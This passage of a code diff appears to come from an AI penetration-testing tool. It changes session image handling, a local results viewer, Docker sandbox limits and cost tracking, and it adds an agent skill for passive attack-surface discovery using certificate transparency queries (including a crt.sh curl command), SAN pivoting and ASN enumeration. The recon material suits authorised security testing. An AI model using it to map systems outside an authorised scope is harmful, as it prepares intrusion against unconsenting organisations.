root_session = open_agent_session(root_id, agents_db)
+121 -36
View File
@@ -2,64 +2,149 @@
from __future__ import annotations
import contextlib
import asyncio
import logging
from typing import TYPE_CHECKING, Any, cast
from weakref import WeakKeyDictionary
from agents.memory import SQLiteSession
if TYPE_CHECKING:
from collections.abc import Callable
from pathlib import Path
from agents.items import TResponseInputItem
from agents.memory import Session
logger = logging.getLogger(__name__)
def open_agent_session(agent_id: str, path: Path) -> SQLiteSession:
path.parent.mkdir(parents=True, exist_ok=True)
return SQLiteSession(session_id=agent_id, db_path=path)
_IMAGE_REJECTED_TEXT = "[image rejected by the model]"
_IMAGE_ELIDED_TEXT = "[older screenshot elided to bound context memory]"
_INHERITED_IMAGE_TEXT = "[screenshot omitted from inherited context]"
def _output_has_image(item_dict: dict[str, Any]) -> bool:
return (
item_dict.get("type") == "function_call_output"
and isinstance(item_dict.get("output"), list)
and any(isinstance(b, dict) and b.get("type") == "input_image" for b in item_dict["output"])
)
def _elided_output(item_dict: dict[str, Any], text: str) -> dict[str, Any]:
# Replace only image blocks; sibling text blocks are preserved.
output = item_dict.get("output")
blocks = output if isinstance(output, list) else []
return {
"type": "function_call_output",
"call_id": item_dict.get("call_id"),
"output": [
{"type": "input_text", "text": text}
if isinstance(block, dict) and block.get("type") == "input_image"
else block
for block in blocks
],
}
_session_write_locks: WeakKeyDictionary[Session, asyncio.Lock] = WeakKeyDictionary()
def session_write_lock(session: Session) -> asyncio.Lock:
"""Lock serialising all out-of-band writes to ``session``."""
lock = _session_write_locks.get(session)
if lock is None:
lock = asyncio.Lock()
_session_write_locks[session] = lock
return lock
async def _rewrite_session(
session: Session,
transform: Callable[[list[Any]], tuple[list[Any], bool]],
) -> bool:
"""Read-modify-write a session under its write lock, restoring on failure."""
async with session_write_lock(session):
items = await session.get_items()
if not items:
return False
rebuilt, changed = transform(list(items))
if not changed:
return False
rebuilt_items = cast("list[TResponseInputItem]", rebuilt)
original_items = cast("list[TResponseInputItem]", list(items))
await session.clear_session()
try:
await session.add_items(rebuilt_items)
except Exception:
logger.exception("session rewrite failed; restoring original items")
await session.clear_session()
await session.add_items(original_items)
raise
return True
async def strip_all_images_from_session(session: Session) -> bool:
items = await session.get_items()
if not items:
"""Replace every image tool output with a text placeholder (rejection recovery)."""
def _transform(items: list[Any]) -> tuple[list[Any], bool]:
rebuilt: list[Any] = []
changed = False
for item in items:
item_dict = cast("dict[str, Any]", item) if isinstance(item, dict) else None
if item_dict is not None and _output_has_image(item_dict):
rebuilt.append(_elided_output(item_dict, _IMAGE_REJECTED_TEXT))
changed = True
else:
rebuilt.append(item)
return rebuilt, changed
return await _rewrite_session(session, _transform)
async def enforce_image_budget(session: Session, max_images: int) -> bool:
"""Keep only the most recent ``max_images`` image outputs; elide older ones."""
if max_images < 0:
return False
rebuilt: list[Any] = []
changed = False
for item in items:
item_dict = cast("dict[str, Any]", item) if isinstance(item, dict) else None
if (
item_dict is not None
and item_dict.get("type") == "function_call_output"
and isinstance(item_dict.get("output"), list)
and any(
isinstance(b, dict) and b.get("type") == "input_image" for b in item_dict["output"]
)
):
rebuilt.append(
{
"type": "function_call_output",
"call_id": item_dict.get("call_id"),
"output": [{"type": "input_text", "text": _IMAGE_REJECTED_TEXT}],
},
)
changed = True
else:
rebuilt.append(item)
def _transform(items: list[Any]) -> tuple[list[Any], bool]:
image_indices = [
i
for i, item in enumerate(items)
if isinstance(item, dict) and _output_has_image(cast("dict[str, Any]", item))
]
if len(image_indices) <= max_images:
return items, False
to_elide = set(image_indices[: len(image_indices) - max_images])
rebuilt = [
_elided_output(cast("dict[str, Any]", item), _IMAGE_ELIDED_TEXT)
if i in to_elide
else item
for i, item in enumerate(items)
]
return rebuilt, True
if not changed:
return False
return await _rewrite_session(session, _transform)
rebuilt_items = cast("list[TResponseInputItem]", rebuilt)
await session.clear_session()
try:
await session.add_items(rebuilt_items)
except Exception:
with contextlib.suppress(Exception):
await session.add_items(rebuilt_items)
raise
return True
def scrub_images_from_items(items: list[Any]) -> list[Any]:
"""Return a copy of ``items`` with every image block replaced by text."""
def _scrub(obj: Any) -> Any:
if isinstance(obj, dict):
if obj.get("type") == "input_image":
return {"type": "input_text", "text": _INHERITED_IMAGE_TEXT}
return {k: _scrub(v) for k, v in obj.items()}
if isinstance(obj, list):
return [_scrub(v) for v in obj]
return obj
return [_scrub(item) for item in items]
+10
View File
@@ -67,6 +67,16 @@ Toast.-information .toast--title {
display: none;
}
#viewer_cta {
height: auto;
background: transparent;
border: round #333333;
color: #60a5fa;
padding: 0 1;
margin-bottom: 1;
text-align: center;
}
#agents_tree {
height: 1fr;
background: transparent;
+69 -2
View File
@@ -7,6 +7,7 @@ import argparse
import asyncio
import shutil
import sys
import time
from datetime import UTC, datetime
from pathlib import Path
@@ -720,7 +721,9 @@ def _load_resume_state(args: argparse.Namespace, parser: argparse.ArgumentParser
args.scan_mode = persisted_scan_mode
def display_completion_message(args: argparse.Namespace, results_path: Path) -> None:
def display_completion_message(
args: argparse.Namespace, results_path: Path, web_url: str | None = None
) -> None:
console = Console()
report_state = get_global_report_state()
@@ -759,6 +762,29 @@ def display_completion_message(args: argparse.Namespace, results_path: Path) ->
results_text.append(str(results_path), style="#60a5fa")
panel_parts.extend(["\n", results_text])
if web_url:
web_text = Text()
web_text.append("\n")
web_text.append("View in web", style="dim")
web_text.append(" ")
# OSC-8 hyperlink: clickable in modern terminals, falls back to the URL.
web_text.append(web_url, style=f"#60a5fa link {web_url}")
panel_parts.extend(["\n", web_text])
reopen_text = Text()
reopen_text.append("\n")
reopen_text.append("Reopen", style="dim")
reopen_text.append(" ")
reopen_text.append(f"strix view {args.run_name}", style="#22c55e")
panel_parts.extend(["\n", reopen_text])
else:
view_text = Text()
view_text.append("\n")
view_text.append("View", style="dim")
view_text.append(" ")
view_text.append(f"strix view {args.run_name}", style="#22c55e")
panel_parts.extend(["\n", view_text])
if not scan_completed:
resume_text = Text()
resume_text.append("\n")
@@ -846,6 +872,14 @@ def main() -> None:
if sys.platform == "win32":
asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
# `strix view [<run>]` is a viewer-only subcommand, dispatched before the
# scan argument parser (which requires a target) and before any scan setup.
if len(sys.argv) > 1 and sys.argv[1] == "view":
from strix.viewer.cli import run_view
run_view(sys.argv[2:])
return
args = parse_arguments()
if args.config:
@@ -940,7 +974,40 @@ def main() -> None:
scarf.end(report_state, exit_reason=exit_reason)
results_path = run_dir_for(args.run_name)
display_completion_message(args, results_path)
# For an interactive run, host the local viewer so the completion panel can
# show a clickable "View in web" link. Skipped in non-interactive/CI runs
# (no TTY to serve and it would block the process).
viewer_httpd = None
web_url = None
if not args.non_interactive and sys.stdout.isatty():
from strix.viewer.server import authorized_url, bundle_is_built, serve
if bundle_is_built():
try:
viewer_httpd, base_url, token = serve(results_path, open_browser=False)
# The completion panel's "View in web" link must authorize the
# browser, so hand it the tokened URL rather than the bare host.
web_url = authorized_url(base_url, token)
posthog.viewer_opened(source="post_scan", live=False)
except Exception:
logger.debug("could not start local viewer", exc_info=True)
viewer_httpd, web_url = None, None
display_completion_message(args, results_path, web_url=web_url)
if viewer_httpd is not None:
console = Console()
console.print("[dim]Hosting the local viewer. Press Ctrl-C to stop.[/]")
console.print()
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
console.print("\n[dim]Viewer stopped.[/]")
finally:
viewer_httpd.shutdown()
viewer_httpd.server_close()
if args.non_interactive:
report_state = get_global_report_state()
+75 -1
View File
@@ -6,6 +6,7 @@ import logging
import signal
import sys
import threading
import webbrowser
from collections.abc import Callable
from importlib.metadata import PackageNotFoundError
from importlib.metadata import version as pkg_version
@@ -768,6 +769,7 @@ class StrixTUIApp(App): # type: ignore[misc]
Binding("ctrl+q", "request_quit", "Quit", priority=True),
Binding("ctrl+c", "request_quit", "Quit", priority=True),
Binding("escape", "stop_selected_agent", "Stop Agent", priority=True),
Binding("ctrl+o", "open_viewer", "Open Viewer", priority=True),
]
def __init__(self, args: argparse.Namespace):
@@ -794,6 +796,8 @@ class StrixTUIApp(App): # type: ignore[misc]
self._displayed_events: list[str] = []
self._scan_thread: threading.Thread | None = None
self._viewer_httpd: Any = None
self._viewer_url: str | None = None
self._scan_loop: asyncio.AbstractEventLoop | None = None
self._scan_stop_event = threading.Event()
self._scan_completed = threading.Event()
@@ -903,7 +907,12 @@ class StrixTUIApp(App): # type: ignore[misc]
vulnerabilities_panel = VulnerabilitiesPanel(id="vulnerabilities_panel")
sidebar = Vertical(agents_tree, vulnerabilities_panel, stats_scroll, id="sidebar")
viewer_cta = Static(self._viewer_cta_markup(), id="viewer_cta")
viewer_cta.ALLOW_SELECT = False
sidebar = Vertical(
viewer_cta, agents_tree, vulnerabilities_panel, stats_scroll, id="sidebar"
)
content_container.mount(chat_area_container)
content_container.mount(sidebar)
@@ -1805,6 +1814,7 @@ class StrixTUIApp(App): # type: ignore[misc]
async def action_custom_quit(self) -> None:
self._fire_sandbox_cleanup()
self._shutdown_viewer()
if self._scan_thread and self._scan_thread.is_alive():
self._scan_stop_event.set()
@@ -1813,6 +1823,70 @@ class StrixTUIApp(App): # type: ignore[misc]
self.exit()
def _viewer_cta_markup(self, url: str | None = None) -> str:
if url:
return f"[@click=app.open_viewer][#22c55e]● Viewer running[/][/]\n[dim]{url}[/]"
return "[@click=app.open_viewer]▶ Watch live in browser[/]"
def _set_viewer_cta(self, markup: str) -> None:
with contextlib.suppress(Exception):
self.query_one("#viewer_cta", Static).update(markup)
def action_open_viewer(self) -> None:
if self._viewer_url:
with contextlib.suppress(Exception):
webbrowser.open(self._viewer_url)
return
try:
from strix.viewer.server import authorized_url, bundle_is_built, serve
if not bundle_is_built():
self._set_viewer_cta("[#eab308]Viewer UI not built[/]")
return
run_dir = self.report_state.get_run_dir()
def _viewer_steer(agent_id: str, message: str) -> bool:
# Reuse the exact TUI delivery path, but target the agent the
# web graph selected (not the TUI's current selection).
return send_user_message_to_agent(
coordinator=self.coordinator,
loop=self._scan_loop,
live_view=self.live_view,
target_agent_id=agent_id,
message=message,
)
httpd, url, token = serve(run_dir, open_browser=True, steer_handler=_viewer_steer)
except Exception:
logger.debug("failed to start local viewer", exc_info=True)
self._set_viewer_cta("[red]Viewer failed to start[/]")
return
self._viewer_httpd = httpd
# Store the tokened URL so reopening the CTA re-authorizes the browser
# (this viewer carries a steer handler, so the session is required).
self._viewer_url = authorized_url(url, token)
self._set_viewer_cta(self._viewer_cta_markup(self._viewer_url))
with contextlib.suppress(Exception):
from strix.telemetry import posthog
live = self.report_state.run_record.get("status") not in {
"completed",
"stopped",
"failed",
"interrupted",
}
posthog.viewer_opened(source="tui", live=live)
def _shutdown_viewer(self) -> None:
httpd = self._viewer_httpd
if httpd is None:
return
self._viewer_httpd = None
with contextlib.suppress(Exception):
httpd.shutdown()
httpd.server_close()
def _fire_sandbox_cleanup(self) -> None:
self.coordinator.mark_shutting_down()
loop = self._scan_loop
+16 -4
View File
@@ -24,14 +24,26 @@ def load_session_history(run_dir: Path, agent_ids: Any) -> list[tuple[str, dict[
if not agents_db.exists() or not session_ids:
return []
session_id_set = set(session_ids)
# Open read-only: the scan process may be actively writing this WAL database
# from another process (the local viewer tails it live), and a reader must
# never lock or mutate it. mode=ro (not immutable=1) still reads the latest
# committed WAL state; WAL permits concurrent readers alongside the writer.
conn: sqlite3.Connection | None = None
try:
with sqlite3.connect(agents_db) as conn:
rows = conn.execute(
"select id, session_id, message_data, created_at from agent_messages order by id"
).fetchall()
conn = sqlite3.connect(
f"file:{agents_db}?mode=ro",
uri=True,
check_same_thread=False,
)
rows = conn.execute(
"select id, session_id, message_data, created_at from agent_messages order by id"
).fetchall()
except sqlite3.Error:
logger.exception("Failed to hydrate TUI history from %s", agents_db)
return []
finally:
if conn is not None:
conn.close()
items: list[tuple[str, dict[str, Any], str]] = []
for row_id, agent_id, message_data, created_at in rows:
+6 -1
View File
@@ -16,6 +16,7 @@ from strix.config.models import (
DEFAULT_MODEL_RETRY,
StrixProvider,
configure_sdk_model_defaults,
request_timeout_extra_args,
)
from strix.report.state import get_global_report_state
@@ -310,7 +311,11 @@ async def check_duplicate(
response = await model.get_response(
system_instructions=DEDUPE_SYSTEM_PROMPT,
input=user_msg,
model_settings=ModelSettings(retry=DEFAULT_MODEL_RETRY, include_usage=True),
model_settings=ModelSettings(
retry=DEFAULT_MODEL_RETRY,
include_usage=True,
extra_args=request_timeout_extra_args(settings.llm.timeout),
),
tools=[],
output_schema=None,
handoffs=[],
+102 -10
View File
@@ -534,16 +534,10 @@ def litellm_cost_callback(
cost = value
if cost is None:
usage: Any = getattr(completion_response, "usage", None)
if usage is None and isinstance(completion_response, dict):
usage = cast("dict[str, Any]", completion_response).get("usage")
usage_cost: Any
if isinstance(usage, dict):
usage_cost = cast("dict[str, Any]", usage).get("cost")
else:
usage_cost = getattr(usage, "cost", None)
if isinstance(usage_cost, int | float) and usage_cost > 0:
cost = float(usage_cost)
cost = _usage_reported_cost(completion_response)
if cost is None:
cost = _estimate_response_cost(kwargs, completion_response)
if cost is None or cost <= 0:
return
@@ -554,3 +548,101 @@ def litellm_cost_callback(
report_state.record_observed_llm_cost(cost)
except Exception:
logger.exception("Failed to record observed LiteLLM cost")
def _usage_reported_cost(completion_response: Any) -> float | None:
"""Provider-reported cost from the ``usage`` block (e.g. OpenRouter).
Non-BYOK responses charge everything to ``usage.cost``. BYOK responses
charge only the OpenRouter fee to ``usage.cost`` (often 0) and report the
provider charge in ``usage.cost_details.upstream_inference_cost``, so the
true BYOK total is the sum of the two.
"""
usage: Any = getattr(completion_response, "usage", None)
if usage is None and isinstance(completion_response, dict):
usage = cast("dict[str, Any]", completion_response).get("usage")
if usage is None:
return None
def _field(container: Any, name: str) -> Any:
if isinstance(container, dict):
return cast("dict[str, Any]", container).get(name)
return getattr(container, name, None)
total = 0.0
usage_cost = _field(usage, "cost")
if isinstance(usage_cost, int | float) and usage_cost > 0:
total += float(usage_cost)
if bool(_field(usage, "is_byok")):
upstream = _field(_field(usage, "cost_details"), "upstream_inference_cost")
if isinstance(upstream, int | float) and upstream > 0:
total += float(upstream)
return total if total > 0 else None
def _estimate_response_cost(kwargs: Any, completion_response: Any) -> float | None:
"""Best-effort LiteLLM cost-map estimate when no provider-reported cost exists.
LiteLLM strips provider cost fields when rebuilding streamed responses and
returns no ``response_cost`` for models missing from its cost map, so try
the provider-prefixed name, the raw name, and the bare model name.
"""
from litellm import completion_cost
model = kwargs.get("model") if isinstance(kwargs, dict) else None
if not isinstance(model, str) or not model:
if isinstance(completion_response, dict):
model = cast("dict[str, Any]", completion_response).get("model")
else:
model = getattr(completion_response, "model", None)
if not isinstance(model, str) or not model:
return None
provider = None
litellm_params = kwargs.get("litellm_params") if isinstance(kwargs, dict) else None
if isinstance(litellm_params, dict):
provider = litellm_params.get("custom_llm_provider")
usage_payload = _usage_payload(completion_response)
if usage_payload is None:
return None
candidates: list[str] = []
if isinstance(provider, str) and provider and not model.startswith(f"{provider}/"):
candidates.append(f"{provider}/{model}")
candidates.append(model)
if "/" in model:
candidates.append(model.rsplit("/", 1)[-1])
for candidate in candidates:
try:
value = completion_cost(
completion_response={"model": candidate, "usage": usage_payload},
model=candidate,
)
except Exception: # nosec B112 # noqa: BLE001, S112
continue
if isinstance(value, int | float) and value > 0:
return float(value)
return None
def _usage_payload(completion_response: Any) -> dict[str, Any] | None:
"""Token counts as a plain dict, detached from the response's provider metadata."""
usage: Any = getattr(completion_response, "usage", None)
if usage is None and isinstance(completion_response, dict):
usage = cast("dict[str, Any]", completion_response).get("usage")
if usage is None:
return None
if hasattr(usage, "model_dump"):
usage = usage.model_dump()
if not isinstance(usage, dict):
return None
payload = cast("dict[str, Any]", usage)
if not payload.get("total_tokens") and not (
payload.get("prompt_tokens") or payload.get("completion_tokens")
):
return None
return payload
+26 -4
View File
@@ -6,6 +6,7 @@ import csv
import io
import json
import logging
import re
import tempfile
from datetime import UTC, datetime
from pathlib import Path
@@ -18,6 +19,21 @@ logger = logging.getLogger(__name__)
_SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4}
_BACKTICK_RUN = re.compile(r"`+")
def _safe_fence(content: str) -> str:
"""Return a backtick fence that ``content`` cannot break out of.
Per CommonMark a fenced code block is closed only by a run of backticks at
least as long as the opening fence. LLM-authored, attacker-influenced values
(PoC scripts, code snippets) may contain their own ``` runs, so we open with
a fence one backtick longer than the longest run inside ``content`` (never
fewer than three). Everything in ``content`` then renders verbatim.
"""
longest = max((len(m.group()) for m in _BACKTICK_RUN.finditer(content)), default=0)
return "`" * max(3, longest + 1)
def read_run_record(run_dir: Path) -> dict[str, Any]:
path = run_record_path(run_dir)
@@ -171,9 +187,11 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
lines.append(str(report["poc_description"]))
lines.append("")
if report.get("poc_script_code"):
lines.append("```")
lines.append(str(report["poc_script_code"]))
lines.append("```")
code = str(report["poc_script_code"])
fence = _safe_fence(code)
lines.append(fence)
lines.append(code)
lines.append(fence)
lines.append("")
if report.get("code_locations"):
@@ -190,7 +208,11 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
if loc.get("label"):
lines.append(f" {loc['label']}")
if loc.get("snippet"):
lines.append(f" ```\n {loc['snippet']}\n ```")
snippet = str(loc["snippet"])
fence = _safe_fence(snippet)
lines.append(f" {fence}")
lines.extend(f" {ln}" for ln in snippet.splitlines())
lines.append(f" {fence}")
if loc.get("fix_before") or loc.get("fix_after"):
lines.append("\n **Suggested Fix:**")
lines.append("```diff")
+3 -131
View File
@@ -2,9 +2,7 @@
from __future__ import annotations
import asyncio
import logging
import os
from collections.abc import Awaitable, Callable
from typing import TYPE_CHECKING, Any
@@ -18,128 +16,6 @@ logger = logging.getLogger(__name__)
SandboxBackend = Callable[..., Awaitable[tuple[Any, Any]]]
_DEFAULT_START_ATTEMPTS = 3
_START_BACKOFF_SECONDS = 2.0
_TRANSIENT_TIMEOUT_NAMES = {
"ConnectTimeout",
"PoolTimeout",
"ReadTimeout",
"TimeoutError",
"TimeoutException",
"WriteTimeout",
}
_TRANSIENT_CONNECTION_NAMES = {
"ConnectError",
"ConnectionError",
"ConnectionResetError",
"ReadError",
"WriteError",
}
def _start_attempts() -> int:
raw = os.environ.get("STRIX_SANDBOX_START_ATTEMPTS")
if raw is None:
return _DEFAULT_START_ATTEMPTS
try:
attempts = int(raw)
except ValueError:
logger.warning(
"Invalid STRIX_SANDBOX_START_ATTEMPTS=%r; using %d",
raw,
_DEFAULT_START_ATTEMPTS,
)
return _DEFAULT_START_ATTEMPTS
if attempts < 1:
logger.warning(
"STRIX_SANDBOX_START_ATTEMPTS must be positive; using %d",
_DEFAULT_START_ATTEMPTS,
)
return _DEFAULT_START_ATTEMPTS
return attempts
def _exception_chain(error: BaseException) -> list[BaseException]:
chain: list[BaseException] = []
pending: list[BaseException | None] = [error]
seen: set[int] = set()
while pending:
current = pending.pop()
if current is None or id(current) in seen:
continue
seen.add(id(current))
chain.append(current)
pending.extend(
(
current.__cause__,
current.__context__,
getattr(current, "cause", None),
)
)
return chain
def _is_transient_start_error(error: BaseException) -> bool:
for cause in _exception_chain(error):
name = type(cause).__name__
module = type(cause).__module__
if isinstance(cause, TimeoutError | ConnectionError | ConnectionResetError):
return True
if name in _TRANSIENT_TIMEOUT_NAMES:
return True
if name in _TRANSIENT_CONNECTION_NAMES and (
module.startswith(("httpcore", "httpx", "agents"))
or name in {"ConnectionError", "ConnectionResetError"}
):
return True
return False
async def start_session_with_retry(
client: Any,
create_session: Callable[[], Awaitable[Any]],
*,
attempts: int | None = None,
) -> Any:
"""Start a sandbox session, retrying transient transport failures.
Backend implementations should use this helper when they own both session
creation and ``session.start()`` so failed starts can be torn down before a
retry. The caller owns the manifest and any temporary source directories
until this helper returns.
"""
max_attempts = attempts if attempts is not None else _start_attempts()
for attempt in range(1, max_attempts + 1):
session: Any | None = None
try:
session = await create_session()
assert session is not None
await session.start()
except Exception as exc:
if session is not None:
try:
await client.delete(session)
except Exception as teardown_error:
logger.warning(
"Failed to tear down sandbox after start failure; aborting retry",
exc_info=True,
)
raise exc from teardown_error
transient = _is_transient_start_error(exc)
if not transient or attempt == max_attempts:
raise
delay = _START_BACKOFF_SECONDS * (2 ** (attempt - 1))
logger.warning(
"Transient sandbox start failure; retrying attempt %d/%d in %.1fs",
attempt + 1,
max_attempts,
delay,
)
await asyncio.sleep(delay)
else:
return session
raise AssertionError("sandbox start retry loop completed without returning or raising")
async def _docker_backend(
*,
@@ -174,10 +50,8 @@ async def _docker_backend(
client = StrixDockerSandboxClient(docker.from_env())
client.strix_bind_mounts = bind_mounts or []
options = DockerSandboxClientOptions(image=image, exposed_ports=exposed_ports)
session = await start_session_with_retry(
client,
lambda: client.create(options=options, manifest=manifest),
)
session = await client.create(options=options, manifest=manifest)
await session.start()
return client, session
@@ -209,9 +83,7 @@ def register_backend(name: str, backend: SandboxBackend) -> None:
Intended for downstream users who ship their own runtime register
before any ``session_manager.create_or_reuse`` call. Re-registering
an existing name overwrites the prior entry. Backends that own both
session creation and ``session.start()`` should use
:func:`start_session_with_retry`.
an existing name overwrites the prior entry.
"""
_BACKENDS[name] = backend
logger.info("Registered sandbox backend: %s", name)
+12 -4
View File
@@ -10,6 +10,7 @@ exposed-port URL for all subsequent SDK calls.
from __future__ import annotations
import asyncio
import contextlib
import json
import logging
from typing import TYPE_CHECKING
@@ -93,9 +94,16 @@ async def bootstrap_caido(
client = Client(host_url, auth=TokenAuthOptions(token=access_token))
await client.connect()
project = await client.project.create(
CreateProjectOptions(name="sandbox", temporary=True),
)
await client.project.select(project.id)
try:
project = await client.project.create(
CreateProjectOptions(name="sandbox", temporary=True),
)
await client.project.select(project.id)
except BaseException:
# The connected client never reaches the session bundle if project
# setup fails, so close it here to avoid leaking the transport.
with contextlib.suppress(Exception):
await client.aclose()
raise
logger.info("Caido project selected: %s", project.id)
return client
+116 -1
View File
@@ -24,20 +24,25 @@ from __future__ import annotations
import contextlib
import logging
import os
import uuid
from typing import Any
from typing import Any, cast
from agents.sandbox.errors import ExposedPortUnavailableError
from agents.sandbox.manifest import Manifest
from agents.sandbox.sandboxes.docker import (
DockerSandboxClient,
DockerSandboxSession,
_build_docker_volume_mounts,
_docker_port_key,
_manifest_requires_fuse,
_manifest_requires_sys_admin,
)
from agents.sandbox.session.sandbox_session import SandboxSession
from agents.sandbox.types import ExposedPortEndpoint
from docker import errors as docker_errors # type: ignore[import-untyped, unused-ignore]
from docker.models.containers import Container # type: ignore[import-untyped, unused-ignore]
from docker.types import LogConfig # type: ignore[import-untyped, unused-ignore]
from docker.types import Mount as DockerSDKMount # type: ignore[import-untyped, unused-ignore]
from docker.utils import parse_repository_tag # type: ignore[import-untyped, unused-ignore]
from requests.exceptions import RequestException
@@ -46,6 +51,103 @@ from requests.exceptions import RequestException
logger = logging.getLogger(__name__)
_SANDBOX_NETWORK_ENV = "STRIX_DOCKER_SANDBOX_NETWORK"
def _sandbox_network() -> str | None:
value = os.environ.get(_SANDBOX_NETWORK_ENV, "").strip()
return value or None
def _apply_sandbox_network(create_kwargs: dict[str, Any]) -> None:
network = _sandbox_network()
if network:
create_kwargs["network"] = network
create_kwargs.pop("ports", None)
def _apply_resource_limits(create_kwargs: dict[str, Any]) -> None:
"""Apply optional cgroup resource caps from the environment. Unset/blank
values leave docker's default (unbounded), so this is opt-in per host."""
mem_limit = os.environ.get("STRIX_SANDBOX_MEM_LIMIT", "").strip()
if mem_limit:
create_kwargs["mem_limit"] = mem_limit
shm_size = os.environ.get("STRIX_SANDBOX_SHM_SIZE", "").strip()
if shm_size:
create_kwargs["shm_size"] = shm_size
cpus = os.environ.get("STRIX_SANDBOX_CPUS", "").strip()
if cpus:
with contextlib.suppress(ValueError, OverflowError):
nano_cpus = int(float(cpus) * 1_000_000_000)
if 0 < nano_cpus <= 2**63 - 1:
create_kwargs["nano_cpus"] = nano_cpus
pids_limit = os.environ.get("STRIX_SANDBOX_PIDS_LIMIT", "").strip()
if pids_limit:
with contextlib.suppress(ValueError):
create_kwargs["pids_limit"] = int(pids_limit)
def _apply_log_limits(create_kwargs: dict[str, Any]) -> None:
"""Bound the container's json-file log so a runaway process in the sandbox
(e.g. a tool that busy-loops writing to stdout) cannot fill the host disk
and take the Docker daemon down with it.
Unlike the cgroup caps above, this defaults **on** docker's own default
is an unbounded json-file, which is unsafe for an autonomous agent that
executes arbitrary commands. ``max-file`` rotation means the on-disk cap is
``max-size * max-file``. Set ``STRIX_SANDBOX_LOG_MAX_SIZE`` to ``0``/``off``
to opt back out to docker's default."""
max_size = os.environ.get("STRIX_SANDBOX_LOG_MAX_SIZE", "50m").strip()
if max_size.lower() in ("0", "off", "none", "unlimited"):
return
max_file = os.environ.get("STRIX_SANDBOX_LOG_MAX_FILE", "3").strip() or "3"
create_kwargs["log_config"] = LogConfig(
type=LogConfig.types.JSON,
config={"max-size": max_size, "max-file": max_file},
)
class StrixDockerSandboxSession(DockerSandboxSession):
sandbox_network: str = ""
async def _resolve_exposed_port(self, port: int) -> ExposedPortEndpoint:
try:
self._container.reload()
except docker_errors.APIError as e:
raise ExposedPortUnavailableError(
port=port,
exposed_ports=self.state.exposed_ports,
reason="backend_unavailable",
context={
"backend": "docker",
"detail": "container_reload_failed",
"network": self.sandbox_network,
},
cause=e,
) from e
attrs = getattr(self._container, "attrs", {}) or {}
networks = attrs.get("NetworkSettings", {}).get("Networks", {})
endpoint = networks.get(self.sandbox_network) or {}
ip = endpoint.get("IPAddress") or endpoint.get("GlobalIPv6Address")
if not isinstance(ip, str) or not ip:
raise ExposedPortUnavailableError(
port=port,
exposed_ports=self.state.exposed_ports,
reason="backend_unavailable",
context={
"backend": "docker",
"detail": "container_not_on_network",
"network": self.sandbox_network,
},
)
host = f"[{ip}]" if ":" in ip else ip
return ExposedPortEndpoint(host=host, port=port, tls=False)
class StrixDockerSandboxClient(DockerSandboxClient):
# Host directories to bind-mount into the container, set by the docker
# backend before ``create()``. Each item is ``{source, target, read_only}``.
@@ -117,6 +219,10 @@ class StrixDockerSandboxClient(DockerSandboxClient):
extra_hosts = create_kwargs.setdefault("extra_hosts", {})
extra_hosts["host.docker.internal"] = "host-gateway"
_apply_sandbox_network(create_kwargs)
_apply_resource_limits(create_kwargs)
_apply_log_limits(create_kwargs)
# Strix injection: host bind mounts (e.g. large repos passed via --mount)
# that bypass the SDK's file-by-file LocalDir copy.
bind_mounts = getattr(self, "strix_bind_mounts", ())
@@ -146,6 +252,15 @@ class StrixDockerSandboxClient(DockerSandboxClient):
)
return container
async def create(self, **kwargs: Any) -> SandboxSession:
session = await super().create(**kwargs)
network = _sandbox_network()
inner = session._inner
if network and isinstance(inner, DockerSandboxSession):
inner.__class__ = StrixDockerSandboxSession
cast("StrixDockerSandboxSession", inner).sandbox_network = network
return session
async def delete(self, session: SandboxSession) -> SandboxSession:
container_id = getattr(getattr(session._inner, "state", None), "container_id", None)
if container_id:
+9 -1
View File
@@ -167,11 +167,19 @@ async def cleanup(scan_id: str) -> None:
except Exception: # noqa: BLE001
logger.debug("cleanup(%s): caido_client.aclose() raised", scan_id, exc_info=True)
client = bundle["client"]
try:
await bundle["client"].delete(bundle["session"])
await client.delete(bundle["session"])
logger.info("Cleaned up sandbox session for scan %s", scan_id)
except Exception:
logger.exception(
"cleanup(%s): client.delete raised; container may need manual reaping",
scan_id,
)
docker_client = getattr(client, "docker_client", None)
if docker_client is not None:
try:
docker_client.close()
except Exception: # noqa: BLE001
logger.debug("cleanup(%s): docker_client.close() raised", scan_id, exc_info=True)
@@ -0,0 +1,151 @@
---
name: asset-discovery
description: Passive asset and attack-surface discovery via certificate transparency, TLS SAN pivoting, passive DNS, and ASN/IP enumeration to find hosts beyond subdomain brute force
---
# Asset Discovery
Most engagements start from a small seed (one domain, one org name) but the real attack surface is far larger: forgotten hosts, staging/internal-named services, acquisitions, and infrastructure that never appears in a wordlist. Build a broad, deduplicated inventory using passive intelligence — certificate transparency, TLS certificate metadata, passive DNS, and ASN/IP data — then collapse it into a probed, classified attack surface. The aim is coverage and pivoting: every certificate, DNS record, and IP is a lead to more assets.
Only use this skill when all subdomains and related assets of the target are in scope — broad discovery pulls in hosts far beyond the seed.
## Attack Surface
- Hosts discoverable via issued certificates (CT logs) but absent from DNS brute force
- Internal/staging/pre-prod hostnames leaked in certificate SAN lists
- Sibling and acquisition domains sharing certificates, ASNs, or IP ranges with the seed
- Wildcard and short-lived certs revealing naming conventions (`*.internal.example.com`, `k8s-*`, `argocd.*`)
- ASN-owned IP ranges hosting services with no DNS name at all
- Virtual hosts co-located on shared IPs (multiple apps behind one address)
- Non-HTTP services on discovered hosts (databases, brokers, admin ports)
## High-Value Sources
### Certificate Transparency (CT)
CT logs record nearly every publicly-trusted certificate. Query by domain (matches SAN/CN) and by organization name.
- **crt.sh** (free, no key):
- By domain incl. subdomains: `curl -s 'https://crt.sh/?q=%25.example.com&output=json' | jq -r '.[].name_value' | sed 's/^\*\.//' | sort -u`
- By organization: `https://crt.sh/?O=Example+Inc&output=json`
- **Censys / Shodan / Fofa** (API keys): search certs by `parsed.names`, `parsed.subject.organization`, or a specific `fingerprint_sha256`, then pivot to every host serving that cert.
- Cross-check multiple indexes (`certspotter`, Google CT, `chaos`) — no single log is complete.
- **Wildcards** (`*.corp.example.com`) reveal internal naming schemes even when individual hosts resolve privately; use them to seed targeted guesses (`grafana.corp`, `ci.corp`, `vault.corp`).
### TLS Certificate SAN/CN
- **SAN expansion**: one cert often lists many hostnames (marketing + api + admin + internal) — extract every SAN, not just the queried name.
